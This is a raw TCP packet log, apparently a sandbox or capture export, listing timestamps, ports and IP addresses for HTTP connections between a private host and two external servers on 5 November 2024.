Nov 5, 2024 12:43:30.876558065 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876626968 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876626968 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876630068 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876643896 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876655102 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876688004 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876688004 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876781940 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876822948 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876871109 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876893997 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876909971 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.876945972 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.876945972 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877018929 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877072096 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877089977 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877152920 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877312899 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877356052 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877377987 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877465963 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877574921 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877619982 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877654076 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877732992 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877744913 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877758026 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877784967 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877784967 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.877841949 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877855062 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.877891064 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.878062963 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.878096104 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.878104925 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.878169060 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:30.878222942 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:30.878268957 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:31.566174984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:31.571022034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:31.571118116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:31.571254015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:31.576092005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236819983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236839056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236850977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236872911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236876965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.236903906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236906052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.236922026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236933947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.236953020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.236973047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.236983061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.237005949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.237060070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.237071991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.237085104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.237107038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.237118959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.241909981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.241952896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.241965055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.241966963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.241995096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.242013931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.352181911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.352217913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.352227926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.352241039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.352312088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.352401018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.432668924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432699919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432713032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432727098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432790041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432796001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.432805061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.432847023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.433042049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433062077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433073044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433084965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.433115005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.433177948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433192015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433202982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.433232069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.433243036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434009075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434048891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434060097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434063911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434091091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434092999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434103012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434195042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434253931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434272051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.434295893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434322119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.434961081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.435003996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467560053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467593908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467605114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467642069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467660904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467660904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467725992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467786074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467834949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467840910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467874050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467886925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467899084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467924118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.467926979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467926979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.467979908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548139095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548177958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548190117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548211098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548223019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548238039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548254013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548270941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548315048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548475981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548525095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548556089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548569918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548583031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.548599958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548609972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.548635960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634175062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634202003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634217024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634227991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634234905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634244919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634253025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634293079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634325981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634637117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634682894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634691954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634705067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634735107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634751081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.634788036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.634825945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.635209084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635252953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.635263920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635277987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635307074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.635319948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.635365009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635376930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635389090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.635412931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.635435104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636042118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636092901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636121035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636159897 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636181116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636194944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636221886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636235952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636257887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636266947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636276960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636302948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636670113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636717081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636723995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636737108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636763096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636778116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636794090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636806011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.636831999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.636846066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.637286901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.637340069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.637357950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.637399912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663556099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663573980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663590908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663603067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663614035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663628101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663645029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663661957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663670063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663672924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663711071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663711071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663748026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663762093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663774014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663806915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663877964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.663940907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.663984060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.664010048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.664033890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.664066076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.664077044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.664108038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749432087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749470949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749481916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749494076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749509096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749530077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749542952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749566078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749584913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749597073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749613047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749640942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749802113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749938011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.749972105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749984026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.749995947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750019073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750040054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750214100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750226974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750241041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750279903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750293016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750297070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750351906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750368118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750385046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750680923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750735998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750741005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750756025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750778913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750790119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.750932932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.750994921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751002073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751007080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751030922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751041889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751058102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751071930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751094103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751108885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751375914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751435041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751446962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751475096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751487017 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751545906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751558065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751569986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751586914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751611948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751660109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751672983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751686096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.751712084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.751735926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.781966925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782099962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.782104015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782119989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782134056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782145023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782157898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782169104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.782229900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.782252073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782263994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782275915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782288074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782299995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.782318115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.782373905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.864960909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.864975929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865019083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865179062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865190029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865201950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865225077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865246058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865278006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865289927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865302086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865326881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865355968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865417004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865430117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865464926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865475893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865489006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865500927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865513086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.865524054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865536928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.865564108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866290092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866318941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866329908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866329908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866357088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866360903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866370916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866410971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866446972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866458893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866470098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866486073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866493940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866512060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866578102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866580009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866622925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866632938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866647959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866660118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866672039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866677999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866691113 CET	49711	80	192.168.2.8	188.114.96.3
